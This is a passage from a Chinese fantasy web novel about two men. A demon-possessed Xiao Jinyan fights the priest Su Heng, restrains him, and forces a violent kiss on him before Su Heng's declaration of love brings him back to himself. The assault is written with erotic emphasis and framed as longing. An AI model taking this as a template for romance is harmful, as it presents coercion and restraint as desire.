肖靳言那双漆黑如墨的眼眸里,最后一丝属于人类的理智,被这股疯狂的低语,彻底吞噬。 他终于开口,声音沙哑粘稠,像是从地狱深处传来。 “神父……” “你这个样子……” 他贪婪地,用视线一寸寸描摹着宿珩此刻的模样。 “可真好看。” 宿珩的心,猛地向下一沉。 这不是肖靳言。 这是在心门之中,被彻底蛊惑、迷失的肖靳言。 “清醒一点!” 宿珩的声音,瞬间冷了下来。 然而。 这句警告换来的,却是肖靳言一声,更加愉悦的低笑。 “我很清醒。” “我从未像现在这样……清醒过。” 话音落下的瞬间。 他的身影,毫无征兆地从原地消失了! 下一秒。 一股夹杂着浓郁硫磺与血腥味的狂暴劲风,已经扑面而来! 宿珩的反应快到了极致。 他甚至来不及思考,身体已经先于大脑,做出了最本能的闪避动作。 他猛地向旁边一侧! “轰——!” 一声沉闷的巨响。 肖靳言那充满了毁灭性力量的一拳,狠狠地砸在了宿珩刚才站立的位置。 坚硬的黑色祭坛,竟然被他这一拳,给硬生生地砸出了一个,蛛网般碎裂的深坑! 宿珩的眼底,闪过一丝骇然。 他知道肖靳言很强。 可他从未想过,彻底解放了内心那只怪物的肖靳言,竟然能强到如此恐怖的地步! 一击落空,肖靳言没有丝毫的停顿。 他转过身,那双纯黑的眼眸,再一次,死死地锁定了宿珩。 他像一头锁定了猎物的猎豹,重新朝着宿珩扑了过来! 这一次,宿珩没有再闪躲。 他抬起手,一柄趁乱从肖靳言袖中摸走的黑色短刀,瞬间出现在掌心。 “锵——!” 刀锋与拳风,在半空中狠狠撞击在一起,发出一声几乎要撕裂空气的刺耳锐响! 巨大的冲击力,让宿珩不受控制地向后滑出了好几步,才勉强稳住了自己的身形。 他握着刀的右手,虎口处被震得一阵发麻。 而肖靳言的拳头上,却连一丝白痕都未曾留下。 绝对的力量碾压。 “呵呵……” 肖靳言盯着那柄属于自己的短刀,喉咙里发出的笑声越来越癫狂,也越来越兴奋。 他身后的那道黑影,也随之变得更加巨大,更加狰狞。 那影子甚至已经脱离了他的身体,像一只独立的、由纯粹黑暗所构成的巨大蜥蜴,用那双猩红的眼睛,贪婪地窥伺着祭坛上的宿珩。 战斗,在这一刻,才算是真正地拉开了序幕。 宿珩的身影快如鬼魅。 他握紧短刀,在昏暗的空气里,划出一道又一道冰冷而致命的银色弧线。 每一刀的位置,都对准了肖靳言身后的影子。 然而,这些足以斩断钢铁的攻击,落在影子身上,却像是给一头皮糙肉厚的巨兽挠痒痒。 肖靳言甚至懒得闪躲,主动用自己的身体去抵挡那锋利的刀刃。 “呲啦——” 衣物被轻易地撕开。 刀刃与皮肤接触,却发出了一阵切割在坚韧皮革上的声响,仅仅留下一道道转瞬即逝的浅浅白痕。 紧接着。 肖靳言用更加狂暴,也更加直接的方式,还以颜色。 他的一拳一脚,都带着足以开山裂石的恐怖力量。 整个祭坛,都在他们两个人的战斗下,剧烈地晃动着。 无数碎石从那不断扩大的裂缝中纷纷坠落。 宿珩就像是惊涛骇浪之中,一叶随时都有可能被倾覆的孤舟。 他只能依靠自己那超越了人类极限的反应速度,与精准到极致的战斗技巧,在肖靳言那狂风暴雨般的攻击下,勉力支撑。 每一次格挡,都像是在被一辆高速行驶的卡车迎面撞上。 巨大的反震力,让宿珩体内的气血一阵阵地翻涌。 他头上的荆棘之冠在关键时刻,数次逼退了那条试图用尾巴缠上他腰腹的蜥蜴影子。 可惜,荆棘之冠上的神圣力量有限,效果越来越微弱。 反而因为力量透支,越收越紧。 那些尖锐的倒刺,已经深深地嵌入了宿珩的血肉之中。 一阵阵撕裂般的剧痛,不断地从他的头皮,传递到大脑皮层。 冰冷的汗水,混杂着温热的鲜血,顺着宿珩的额角不断滑落,逐渐模糊了他的视线。 宿珩剧烈地喘息着,他知道自己的体力,正在被飞快消耗。 而对面的肖靳言,却像是拥有一具永远不知疲倦的身体。 他的攻势反而越来越猛烈。 “砰——!” 又是一次硬碰硬的对撞。 宿珩再也承受不住那股巨大的力量,手中的短刀脱手而出,“当啷”一声,掉落在不远处的地面上。 空门大开。 肖靳言等的就是这个机会。 他那张英俊而扭曲的脸上,瞬间迸发出了一股,充满了狂喜与得逞的狰狞笑意。 他猛地向前一步,伸出那只足以捏碎钢铁的手,扼住了宿珩的咽喉! 带着无上威压的窒息感,瞬间攫住了宿珩的全部感官。 肖靳言就这么,单手将他从地面上,硬生生地提了起来。 宿珩的双脚离开了地面。 他下意识地伸出手,抓住了肖靳言如同铁钳一般的手臂,指甲深陷。 然而,一切都是徒劳。 他所有的力量,在眼前这个,已经彻底化身为恶魔的男人面前,都显得如此的……微不足道。 “你……” 宿珩艰难地从喉咙里挤出一个音节。 他的脸,因为缺氧,而涨成了一片病态的潮红。 那双总是盛满了冰霜与冷漠的眼眸里,终于第一次,流露出了一丝,混杂着愤怒与不甘的狼狈。 这副模样,无疑取悦了肖靳言。 同样取悦了他身后那只,由纯粹恶意所构成的,巨大的影子。 “你真好看……” 肖靳言抬起另一只手,滚烫的指腹轻轻拂过宿珩因痛苦而紧绷的脸颊,声音里满是痴迷。 “终于……” “你终于,是我的了……” 他低声呢喃着。 说完。 肖靳言松开了手,单手将宿珩压在了冰冷坚硬的石质祭坛上。 还没等宿珩缓过神来。 一道高大的黑影,已经欺身而上。 肖靳言将他死死地压在了身下。 他用膝盖粗暴地压住宿珩的两条腿。 然后,伸出手,一把抓住了宿珩那双还在徒劳挣扎的手腕,用一种不容反抗的绝对力量,将宿珩双手死死地按在了石台之上。 这是一个充满了羞辱与禁锢的,绝对掌控的姿态。 宿珩剧烈喘息着。 他抬起头,泛红的眼角流出生理性的泪水,他死死地瞪着身上这个疯子。 然而。 这眼神,非但没有让肖靳言感到丝毫的畏惧,反而让他眼底那片纯黑的墨色,翻涌得更加剧烈。 肖靳言缓缓俯下了身。 这个姿势,将两个人的距离,拉近到了呼吸可闻的地步。 “别这样看着我……” 肖靳言的声音异常沙哑。 “否则……” “我会忍不住……” “真的……弄坏你……” 说完。 肖靳言不再给宿珩任何反应的机会。 他低下头。 用一种近乎于撕咬的姿态。 狠狠吻上了面前,他做梦都在觊觎的柔软唇瓣。 确切来说,那不是一个吻。 那是一场,充满了血腥与硫磺气息的,野蛮掠夺。 属于肖靳言的侵略性气息,带着灼人的烫意,瞬间席卷了宿珩的全部感官。 宿珩的嘴唇被粗暴地碾磨着,甚至能尝到自己额角伤口处滴落的,那丝带着铁锈味的鲜血。 在肖靳言不容抗拒的强势下,他的牙关被轻易地撬开。 滚烫的舌头长驱直入,在他的唇齿间,不知餍足地攻城略地。 口腔内的每一寸软肉,都被毫不留情地舔舐、扫荡。 仿佛要将属于宿珩的所有气息,都彻底吞噬占有,然后烙上另一个人的滚烫印记。 这是一种,近乎于狂野的,宣示主权的方式。 宿珩被死死钳制,想挣扎都无能为力,只能任由这个疯子肆意妄为。 他身后那道巨大的影子,发出了兴奋至极的吭哧声。 一股更加阴冷,更加滑腻的触感,落在了宿珩的脸颊。 这只由无限世界规则崩坏所催生的恶魔,它寄生在肖靳言的心门之中,以他的绝望为食粮,此刻已成为他密不可分的影子。 肖靳言是它。 它亦是肖靳言。 宿珩挣扎着,用余光扫过那只由纯粹的黑暗与恶意所构成的狰狞怪物。 它此刻的轮廓,已经渐渐凝实。 宿珩甚至能看到,它周身笼罩的黑雾中,一条条粗壮的铁链正在扯动,发出哗啦啦的声响。 恶魔缓缓地低下那颗丑陋的头颅,伸出了分叉的舌头。 舌尖颤栗地卷动,极其缓慢地在宿珩的脸上,留下一道道冰冷而湿滑的痕迹。 那触感,比圣器室里那一次,还要清晰百倍。 “嘶……嘶……” 恶魔发出了满足而愉悦的嘶鸣。 它的舌头开始向上移动。 划过宿珩湿漉漉的眼角,最终,停留在了他的耳垂上,用舌尖不轻不重地勾了一下。 那是宿珩极其敏感的部位。 宿珩的大脑,刹那间一片空白。 头上的荆棘之冠,仿佛也感受到了他此刻激烈的情绪波动。 冠冕释放出一道乳白色的圣光,但明显力量不足,打在恶魔身上,如同飞蛾扑火,转瞬即逝。 驱动这最后一缕圣光带来的后果是,其上的荆棘,猛地向内收紧! 剧烈的刺痛让宿珩猛地回过神来。 他用尽全身力气,试图将身上这个,已经彻底被欲望所吞噬的家伙给推开。 然而。 肖靳言却像是提前预判到了他的动作。 禁锢着宿珩手腕的手指骤然收紧,用绝对的力量,强行把宿珩再次死死地压了回去。 “唔……” 一声压抑的闷哼,从宿珩的喉咙深处溢出。 这声充满痛苦与屈辱的闷哼,无疑是点燃了森*晚*整*理肖靳言身体里的最后一根引线。 他身上那股暴虐而疯狂的气息,在这一刻,攀升到了顶点。 那个吻,变得更加深入,也更加狂暴。 他像一头彻底失控的凶兽,用最原始,也最野蛮的方式,发泄着自己那份积压了太久的,疯狂的占有欲。 宿珩的意识,开始变得模糊。 他被封住了唇舌,连闭嘴都做不到。 不知过了多久。 充满了掠夺与疯狂的吻,终于停了下来。 肖靳言发出一声极其沙哑的低吼。 那只巨大的黑色蜥蜴,终于收回了它黏腻的舌头,重新化作一道沉默的影子,潜伏回了肖靳言的身后。 一切,都恢复了死一般的寂静。 只剩下,两个人交织在一起的呼吸声,在这片被彻底污染的地下空间里,空洞地回响着。 肖靳言依旧保持着那个,充满了禁锢与压迫的姿势。 他没有起身。 只是将自己的头,深深地埋在了宿珩的颈窝里,像一头终于捕获了猎物,正在贪婪地,汲取着对方气息的野兽。 宿珩躺在冰冷坚硬的石质祭坛上,胸口剧烈地起伏。 他没有再动。 也没有再发出任何声音。 那双因为缺氧而泛起一层水光的眼眸,只是安静地,看着头顶那片由不知名黑色巨石所构成的,冰冷的穹顶。 良久。 宿珩缓缓地转过头。 他那双已经褪去了所有水汽,重新恢复了往日那般,平静得如同一潭深水的眼眸,落在了近在咫尺的,肖靳言那张英俊而扭曲的侧脸上。 宿珩终于开口。 虽然他已经尽力控制,但声音中难免带了一丝刚刚经历过暴行的,破碎的沙哑。 “肖靳言。” 他叫着他的名字。 “欺负我。” “这就是你心底……最绝望的画面吗?” 听到这句话。 肖靳言那具还沉浸在余韵之中的身体,猛地一震。 他缓缓地抬起头。 那双纯黑如墨的眼眸,对上了宿珩那双,平静到近乎于冷酷的眼睛。 短暂的对视之后。 肖靳言的嘴角,缓缓向上翘起了一抹,充满了邪气的弧度。 他甚至还伸出舌尖,意犹未尽地舔舐了一下自己殷红的嘴唇。 “不。” 他摇了摇头,声音沙哑,却带着令人心寒的笃定。 “这当然不是我最绝望的画面。” 他顿了顿。 那双漆黑的眼眸里,翻涌着一种更加深沉,也更加病态的欲望。 “这是我……最期待的画面。” 宿珩的瞳孔,骤然收缩。 他的脸上,出现了一丝极其短暂的空白与错愕。 而肖靳言,显然十分满意他此刻的反应。 他脸上的笑意,瞬间加深。 他甚至还想低下头,再去亲吻那双,因为他这句话,而微微张开的柔软嘴唇。 然而。 就在肖靳言因为得逞,而产生了一丝松懈的瞬间。 宿珩那双原本已经脱力垂下的腿,毫无征兆地猛然抬起! 膝盖,如同一柄破城的重锤,狠狠地撞向了肖靳言的小腹! “砰——!” 一声沉闷的巨响。 肖靳言脸上的笑意,瞬间凝固。 他甚至还没来得及做出任何反应。 整个人,便被这股超出了他预料的巨大冲击力,给硬生生地…… 踹飞了出去! 第115章 第 115 章 世界的悲鸣22 肖靳言重重地砸在几米外。 那片散落着无数圣器碎片的地面上, 激起了一片呛人的烟尘。 祭坛之上。 宿珩撑着石台,猛地站了起来。 他胸口剧烈地起伏着,每一次呼吸都像是在撕扯着滚烫的肺叶, 大口大口地喘息着。 刚才那一记膝撞,几乎用尽了他全身所有的力气。 但他没有丝毫停顿。 就在肖靳言被踹飞出去,身体还未完全落地的瞬间。 宿珩已经像一头优雅而致命的猎豹, 从那座已经布满了裂痕的黑色祭坛上,一跃而下! 那件包裹着他纤减肥躯的黑色神父袍,被凌厉的劲风带起, 在昏暗的地下空间里, 划出了一道充满了凛冽肃杀之气的黑色残影。 弥漫的烟尘之中。 肖靳言缓缓撑起上半身。 他那张英俊到无可挑剔的脸上, 沾染了些许灰尘,非但没有减损分毫, 反而增添了几分野性的魅力。 那双纯黑如墨的眼眸里,非但没有丝毫被人偷袭得手的恼怒。 反而,翻涌着一种更加病态,也更加兴奋的诡异光芒。 “呵呵……” 一声充满了愉悦的低笑, 从他的喉咙深处缓缓溢出。 “有意思……” 他伸出舌尖, 舔掉了唇角的血迹, 声音沙哑。 “真有意思……” 就在他低语的瞬间。 一道黑色的身影, 已经冲到了他的面前。 宿珩没有给他再次开口的机会。 他飞身而起,整个人如同一只从天而降的苍鹰, 朝着刚刚才坐起身的肖靳言,狠狠地扑了过去! 攻守之势, 在这一瞬间,彻底逆转。 肖靳言甚至没有做出任何闪躲或者格挡的动作。 他只是抬起头,脸上带着那抹充满了邪气的诡异笑容, 就这么任由宿珩将他,重新扑倒在地。 那姿态,不像是在迎接一场战斗。 倒更像是,在迎接一个期待许久的拥抱。 “砰——” 又是一声沉闷的撞击声。 宿珩以一种绝对强势的姿态,跨坐在了肖靳言的身上。 他用膝盖,死死地压住了肖靳言那两条充满了爆发性力量的大腿。 双手,则像是两把铁钳,牢牢地扣住了肖靳言的肩膀,将他按在了这片充满了神圣与污秽的废墟之上。 这是一个,与刚才何其相似的,充满了禁锢与压迫的姿态。 只不过。 这一次,他和肖靳言的位置,彻底调换了过来。 宿珩居高临下地俯视着肖靳言。 他那双因为剧烈运动,而泛着一层生理性水汽的眼眸,此刻,却冷得像两块凝结了千年的寒冰。 肖靳言被他死死地压在身下。 他没有挣扎。 甚至,连一丝一毫想要反抗的意图都没有。 他只是安静地躺在那里,任由宿珩动作。 那双漆黑的,不带一丝人类情感的眼眸,就这么一瞬不瞬地,与宿珩对视着。 良久。 肖靳言的嘴角,向上扬起的弧度,越来越大。 他笑了。 笑得肆意而张扬。 那是一种—— 猎人看着自己心爱的猎物,在用它那点微不足道的力量,进行着徒劳的,却又无比可爱的反抗时,那种充满了纵容与玩味的笑。 “神父……” “你这个样子……” 肖靳言顿了顿,漆黑的眼眸里,是毫不掩饰的痴迷与占有欲。 “我更喜欢了。” 宿珩没有说话。 他只是死死地盯着身下这张,英俊到近乎于邪恶的脸。 额角被荆棘刺破的伤口,还在不断地渗出鲜血。 一滴血珠顺着他苍白的脸颊滑落,滴在了肖靳言的脸上,像一朵在雪地里骤然绽放的,妖异的红梅。 他没有时间了。 荆棘之冠上,那最后一丝属于圣阿加莎的神圣力量,正在飞快地流逝。 冠冕本身,也因为力量的透支,而越收越紧。 必须在它彻底失效之前,完成自己要做的事情。 头皮上传来的剧痛,像无数根烧红的钢针,在疯狂地刺穿着宿珩的神经。 必须在它彻底失效之前,完成自己要做的事情。 宿珩缓缓俯下了身。 他将自己的脸,一点一点朝着身下那张还在对他笑的脸,凑了过去。 两个人之间的距离,被无限拉近。 近到,宿珩甚至能清晰地从肖靳言那双纯黑的瞳孔里,看到自己此刻那张沾染着血污,狼狈而疯狂的脸。 看到他这个动作。 肖靳言眼底的笑意,瞬间变得更加浓郁,也更加充满了期待。 他甚至还微微仰起了头,主动迎合。 仿佛在邀请宿珩,继续刚才那场被粗暴打断的,充满了血腥与掠夺的亲吻。 然而。 就在两个人的嘴唇,即将要触碰到一起的瞬间。 宿珩的动作猛地一顿。 他没有吻下去。 而是微微张开了嘴,露出雪白整齐的牙齿。 然后。 在肖靳言那错愕的注视下。 宿珩蓦地低下头。 他以一种充满了报复与泄愤的姿态,狠狠咬在了肖靳言的唇上! “唔……!” 尖锐的牙齿,毫不留情地刺破了柔软的唇肉。 一股带着甜腥味的温热液体,瞬间在两个人的唇齿之间,彻底炸开。 那不仅仅是肖靳言的血。 还混杂着,从宿珩额角伤口处,滴落下来的,属于他自己的血。 两个人的血液,在这一刻,交融在了一起,不分彼此。 宿珩的牙齿还在不断地收紧。 仿佛要将身下这个男人,给活生生地撕下一块肉来。 剧烈的疼痛,让肖靳言那张英俊的脸,不受控制地扭曲了一下。 他那双漆黑的眼眸里,终于第一次,出现了一丝因为剧痛而产生的,短暂的失神与空白。 机会! 就是现在! 宿珩猛地松开了口。 他甚至来不及去擦拭自己满嘴的鲜血,那殷红的液体顺着他苍白的下颌,划出一道触目惊心的痕迹。 宿珩一把抓住自己头顶已经快要彻底失去光泽的荆棘之冠,用尽了全身的力气,猛地向上一扯! 头皮仿佛被硬生生撕裂,剧痛让宿珩眼前一黑,但他没有丝毫的犹豫。 他强忍着剧痛,单手紧抓着荆棘之冠,趁着肖靳言还沉浸短暂的僵直之中,将那顶冰冷的荆棘之冠,狠狠按在了肖靳言的脑袋上! “啊啊啊啊啊——!” 就在荆棘之冠接触到肖靳言皮肤的瞬间。 一声不似人声的,凄厉到几乎要刺破整个空间的恐怖尖啸,猛地从肖靳言的身后,那道巨大的黑色影子里,轰然炸响! 那顶已经快要耗尽所有神圣力量,变得黯淡无光的冠冕,在接触到宿珩的血液,与肖靳言体内那股,纯粹到极致的恶意的瞬间。 竟然再一次爆发出了璀璨到令人无法直视的乳白色圣光! 那光芒,是如此的纯粹,如此的神圣。 像一把,由天堂降下的,足以净化世间一切罪恶的审判之剑! “滋啦——滋啦——” 一阵阵如同滚油浇在烙铁上的声响,不断地从肖靳言的身上疯狂响起。 一股股带着浓郁硫磺与焦糊味的黑色烟雾,从他和冠冕接触的地方,不受控制地向外冒出。 他身后那道由纯粹恶意所构成的巨大黑影,在被圣光笼罩的瞬间,便开始剧烈地翻滚扭曲。 恶魔那原本已经开始凝实的身体,重新变得虚幻。 它的口中,发出充满了无边痛苦与怨毒的疯狂嘶吼。 那声音带着一种仿佛能直接穿透灵魂的诡异魔力,疯狂地冲击着宿珩的大脑。 而被他死死压在身下的肖靳言,也开始剧烈地挣扎了起来。 他的身体,像是被一股无形的力量,给强行操控着。 以一种极其夸张的弧度疯狂地向上拱起,试图将压在自己身上的宿珩,给狠狠地掀翻下去。 那股力量,是如此的巨大。 宿珩感觉自己就像是在狂风暴雨之中,试图用自己渺小的身躯,去压住一头,即将要挣脱所有束缚的远古凶兽。 他用尽了全身的力气,就连手臂上的青筋,也因为极致的发力,而一根根地暴起。 头顶传来的剧痛,与耳边那魔音贯脑般的嘶吼,让他感觉自己的灵魂,都快要被撕成碎片。 他知道。 自己快要撑不住了。 就在宿珩即将要失去所有力气,被身下那股狂暴的力量,给彻底掀飞的瞬间。 他忽然低下头,贴在肖靳言的耳边,声音轻到几乎听不见,却又清晰到足以烙印进肖靳言灵魂最深处。 “我不叫神父。” “我是宿珩。” 那双因为痛苦和脱力而失焦的眼眸,倒映着身下男人痛苦而扭曲的脸庞,却流露出一丝近乎于温柔的决绝。 “你的……爱人。” 那句轻飘飘的,仿佛情人间最亲密呢喃的话语,像一道划破了无尽黑夜的惊雷。 在肖靳言的灵魂深处,轰然炸响。 爱人。 这两个字,是如此的陌生。 却又带着一种,仿佛已经镌刻在血脉里的熟悉感,烫得他灵魂都在战栗。 肖靳言那双纯黑如墨,翻涌着无尽疯狂与暴虐的眼眸,在一瞬间,彻底凝固了。 眼底那片足以吞噬一切的,深不见底的黑暗,像是被投入了一颗石子的平静湖面,剧烈地动荡起来,掀起了滔天巨浪。 紧接着。 那片黑暗,开始以一种肉眼可见的速度,寸寸龟裂。 一丝茫然与错愕,从那裂缝深处,艰难地渗透了出来。 肖靳言的身体像是被抽走了所有的力气,猛地一僵。 那股足以撼动山岳的狂暴力量,在这一瞬间,如潮水般,悄无声息地退去。 他失神地躺在那里。 身后那道还在圣光之中疯狂扭曲嘶吼的巨大黑影,也像是被扼住了喉咙。 那充满了怨毒与痛苦的尖啸,戛然而止。 取而代之的,是一种,充满了困惑与不安的,低低的呜咽。 一切,都仿佛被按下了暂停键。 肖靳言的视线,死死地锁在宿珩那张沾着彼此血迹,苍白而决绝的脸上。 他甚至感觉不到头顶那顶荆棘之冠,所带来的如同灵魂被灼烧般的剧痛。 也感觉不到,宿珩的牙齿,在他唇上留下的带着血腥味的印记。 他所有的感官,所有的意识,都被那两个字,给彻底地,囚禁了。 爱人…… 爱人? 肖靳言的嘴唇,无意识地翕动着,在喉咙深处,用一种近乎于气音的沙哑,反复咀嚼着这个词。 为什么…… 为什么是爱人? 无数个破碎的,光怪陆离的画面,像是被砸碎的万花筒,在他的脑海里,疯狂地闪现,重组。 那个坐在奢华宫殿里,面容苍白,神情恹恹,却用那双漂亮的蓝色眼眸,静静注视着他的……阿诺斯公爵。 那个穿着白大褂,神情冷漠,手里拿着冰冷的手术刀,却一次又一次,将他从失控边缘拉回来的……宿医生。 还有眼前这个…… 这个穿着古板的黑色神父袍,将他死死压在身下的……神父。 同样一张脸。 同样的气息。 同样一种,让他无法抗拒,让他从灵魂深处,就感到无比熟悉与亲近的……感觉。 他一直在。 他一直,跟在自己的身边。 从一个副本,到另一个副本。 从一片绝望的深渊,到另一片,更加黑暗的地狱。 他到底是谁? 为什么……要这么做? 难道…… 难道他真的是…… 来救赎我的吗? 这个念头,像一颗投入死水里的火种,瞬间在他那片已经被黑暗与绝望彻底侵占的荒芜心底,燎起了熊熊大火。 那火光,是如此的微弱。 却又带着一种,足以燃尽一切的,不顾一切的疯狂。 “不……” “他在骗你……” “他在用谎言,来削弱你的力量……” “杀了他……” “只要杀了他,吞噬了他,你就将获得真正的,永恒的自由……” 那道属于恶魔的,充满了蛊惑与怨毒的声音,再一次在他的脑海里,疯狂地叫嚣起来。 然而。 这一次,肖靳言却没有再像之前那样,被轻易地煽动。 他的眉头,痛苦地紧蹙在了一起。 他看着宿珩。 看着那张,因为失血而变得愈发苍白,却依旧美得惊心动魄的脸。 看着那双,因为剧痛与脱力,而泛起了一层薄薄水雾,却依旧固执地,倒映着自己身影的清冷眼眸。 看着他唇角,那抹属于自己的殷红血迹。 一种前所未有的,尖锐而陌生的刺痛,毫无征兆地,攫住了他的心脏。 那比头顶圣光灼烧的痛苦,要清晰百倍。 也比被宿珩咬破嘴唇的疼痛,要深刻万倍。 那是一种,让他几乎要喘不过气来的,铺天盖地的……心疼。 他怎么…… 怎么可以…… 把他伤成这个样子? 宿珩能清晰地感觉到,身下男人的身体,正在剧烈地颤抖。 那不再是,因为痛苦而产生的挣扎。 而是一种,源自于灵魂深处的,剧烈的战栗。 他知道。 自己的赌博,起作用了。 就在这时。 那顶被他死死按在肖靳言头上的荆棘之冠,所散发出的乳白色圣光,忽然猛地闪烁了一下。 然后,迅速地,变得黯淡了下去。 圣阿加莎残留在上面的最后一丝神圣力量,终于……耗尽了。 束缚着恶魔的力量,正在飞快地消散。 肖靳言身后那道,原本已经变得虚幻的巨大黑影,再一次开始疯狂地翻滚蠕动。 它正在重新凝聚。 那股充满了暴虐与疯狂的纯粹恶意,重新笼罩了整个空间。 宿珩的心,猛地向下一沉。 他知道,自己已经没有多余的力气,再去进行第二次压制。 然而。 就在那只恶魔,即将要重新挣脱束缚的瞬间。 被他压在身下的肖靳言,忽然抬起手。 用一种,近乎于温柔的姿态,轻轻地抚上了他的脸颊。 滚烫的指腹,擦过宿珩唇角那道,还带着温热的血痕。 然后,一点一点地,向上移动。 最终,落在了宿珩那双,盛满了疲惫与警惕的,冰冷的眼眸上。 “别怕。” 肖靳言开口。 他的声音,依旧沙哑。 却已经褪去了属于恶魔的疯狂与粘稠。 重新恢复成宿珩所熟悉的,那种低沉而平稳的,令人心安的质感。 那双纯黑如墨的眼眸里,所有的混乱与挣扎,都已经被一种,更加强大的,不容置疑的意志,给强行压制了下去。 他说。 “有我在。” 第116章 第 116 章 世界的悲鸣23 话音落下的瞬间。 宿珩能清晰地感觉到, 身下那具滚烫而紧绷的身体,在一瞬间,彻底松弛了下来。 那股足以撼动山岳的狂暴力量, 如潮水般,悄无声息地退去。 “该结束了。” 肖靳言的声音依旧沙哑得厉害。 他看着宿珩,那双重新恢复了清明与理智的深邃眼眸里, 翻涌着宿珩看不懂的,却又无比熟悉的复杂情绪。 有灼人的心疼。 有噬骨的懊悔。 还有一丝,连他自己都未曾察觉的, 失而复得的庆幸。 下一秒。 肖靳言收回了抚摸宿珩脸颊的手, 转而猛地朝自己头顶用力向下一压! 他用一种近乎于自残的姿态, 将那顶已经失去了大部分神圣力量的荆棘之冠,更加用力地按进了自己的血肉里! “呃!” 一声压抑到极致的, 仿佛要将灵魂都一同挤碎的闷哼,从肖靳言紧咬的齿缝间硬生生挤了出来。 尖锐的荆棘,彻底刺穿了他的头皮。 殷红的鲜血,瞬间像是决了堤的洪水, 顺着他的额角疯狂地向下淌落, 将他那张英俊硬朗的面孔, 都染上了一层妖异而惨烈的血色。 与此同时。 一股股比之前要浓郁百倍的, 带着刺鼻硫磺味的黑色烟雾,也从冠冕与他皮肤接触的地方, 疯狂地向外涌出! 血色与黑雾,在他身上交织, 缠绕。 像一场神圣与邪恶之间,最惨烈的,不死不休的交锋。 “吼——!” 充满了无边痛苦与极致怨毒的咆哮, 猛地从肖靳言的身后那道巨大的黑影之中,轰然炸响! 那声音,不再是单纯的嘶吼。 而是一种,带着实质性精神冲击的疯狂诅咒,像无数根淬了毒的钢针,狠狠扎进宿珩的大脑。 宿珩眼前瞬间一黑,耳边是无休无止的尖锐嗡鸣。 他再也支撑不住。 身体一软,整个人不受控制地朝着身下的肖靳言,倒了下去。 预想中与坚硬胸膛的撞击,并没有发生。 就在他倒下的瞬间。 肖靳言稳稳地托住了他的后背,然后一个迅猛而流畅的翻身,将两个人的位置,再一次,彻底调换了过来。 这一次。 肖靳言的动作里,再也没有了之前的粗暴与掠夺。 他只是小心翼翼地,将已经彻底脱力的宿珩,轻轻放在了冰冷的地面上,让他虚弱地靠在自己怀里。 然后,他抬起头。 那双已经被鲜血与汗水模糊了视线的眼眸,冷冷看向那团正在圣光与黑雾之中,疯狂扭曲翻滚的巨大影子。 “吵死了。” 肖靳言的语气里,充满了毫不掩饰的不耐烦,以及冰冷刺骨的杀意。 随着他话音落下。 那团原本还只是影子形状的恶意集合体,像是被一股无形的力量,给强行从肖靳言的身体里,一点一点地,野蛮地拉扯了出来! “啊啊啊啊啊——!” 恶魔发出了比刚才还要凄厉百倍的惨叫。 浓郁到几乎要凝结成实质的黑色雾气,在一瞬间,彻底爆发。 像一颗在密闭的地下空间里,被悍然引爆的黑色炸弹。 瞬间吞噬了周围的一切,包括那顶荆棘之冠上,所散发出的最后一丝微弱的乳白色圣光。 整个祭坛,彻底陷入了一片,伸手不见五指的纯粹黑暗之中。 宿珩靠在肖靳言的怀里,剧烈地喘息着。 他能清晰地感觉到。 那股冰冷、暴虐、充满了毁灭欲望的疯狂恶意,正从四面八方,朝着他们两个人疯狂地挤压过来。 仿佛要将他们,给活生生地碾成齑粉。 然而。 肖靳言搂着他的那条手臂,却像是一道由钢铁浇筑而成,绝对无法被撼动的堤坝,为他隔绝了所有的危险与恶意。 黑暗之中。 一阵令人牙酸的,骨骼摩擦与血肉重组的声音,清晰地响了起来。 紧接着。 那片浓郁的黑暗,开始缓缓地向后退去。 一个巨大到,几乎要占据整个地下空间的,狰狞而恐怖的身影,终于彻底显露出了它的真容。 那是一头,仿佛从人类最深沉的噩梦之中,一寸寸爬出来的怪物。 它有着蜥蜴般丑陋而扭曲的头颅,一双猩红如血的巨大眼眸里,燃烧着永不熄灭的,对于一切生灵的怨毒与憎恨。 它的身上,覆盖着一层,仿佛是由凝固的黑暗与风干的绝望所构成的,粗糙而坚硬的黑色鳞甲。 锋利如刀的尖爪,深深地刺入地面,在坚硬的黑色岩石上,留下了道道深邃的划痕。 一条布满了扭曲骨刺的,粗壮而有力的尾巴,在它的身后不安地来回扫动着,每一次挥舞,都带起一阵充满了硫磺与腐烂气息的腥风。 而就在它那狰狞的身体上。 还缠绕着无数条,由不知名的金属所打造而成的,锈迹斑斑的粗大铁链。 只是,那些铁链看起来已经变得十分稀薄,近乎于半透明。 仿佛随时都有可能会彻底崩碎。 这只怪物。 这只由无限世界规则崩坏之时,所诞生的,最纯粹的绝望与恶意的集合体。 就这么死死地盯着祭坛下方,那两个渺小得如同蝼蚁般的人类。 它的视线,越过头戴荆棘冠冕、满身血污的肖靳言,最终落在了他怀里,那个黑发黑眸,面容苍白,却美得如同堕落神祇的青年身上。 “杀……了……他……” 恶魔张开布满了层层利齿的巨口。 发出的,却不再是之前那种不似人声的嘶吼。 而是一种,充满了蛊惑与引诱,沙哑而粘稠的低语。 那声音,直接在肖靳言的脑海深处轰然响起。 “不要……被他欺骗……” 恶魔的声音带着扭曲的笑意,像一条冰冷的毒蛇,钻进肖靳言的灵魂。 “他不是你的爱人。” “他只是你的囚笼,是束缚你自由的枷锁!” “看看他,看看他那高高在上的眼神,那份所谓的‘救赎’,不过是强者对弱者的怜悯!” “他把你当成什么?一个需要被驯服的,可怜的怪物!” “而你,你本该是这个世界上,最强大的存在!你本该拥有一切!” 恶魔的蛊惑,变得越发尖锐,直刺肖靳言内心最深处的骄傲与不甘。 “把他的灵魂,献祭给我!” “我将赐予你,挣脱一切束缚的,永恒的自由!” “我们……将合为一体,成为这世间,唯一的神!” “到那时,你再也不用乞求他的垂怜,你可以将他……永远地囚禁在你的神国,让他只能仰望你,只能属于你,让他为你哭泣,为你……沉沦!” 恶-魔的声音充满了无尽的诱惑。 像最甜美的毒药,一点一点渗透进肖靳言灵魂的每一道缝隙。 肖靳言的身体,不受控制地再次僵硬了起来。 内心深处那股被强行压制下去的,对于混乱,对于毁灭,对于更加强大的力量的极致渴望。 再一次……被这股声音重新勾动。 肖靳言刚刚才恢复了清明的眼眸,开始不受控制地,重新被纯粹的墨色缓缓侵占。 短暂的迟疑。 却像是跨越了一个世纪那般漫长。 就在肖靳言的理智,即将要再一次,被那股来自于灵魂深处的欲望所彻底吞噬的瞬间。 一只冰冷的,带着轻微颤抖的手,轻轻牵住了他。 肖靳言的身体猛地一震。 他缓缓低下头。 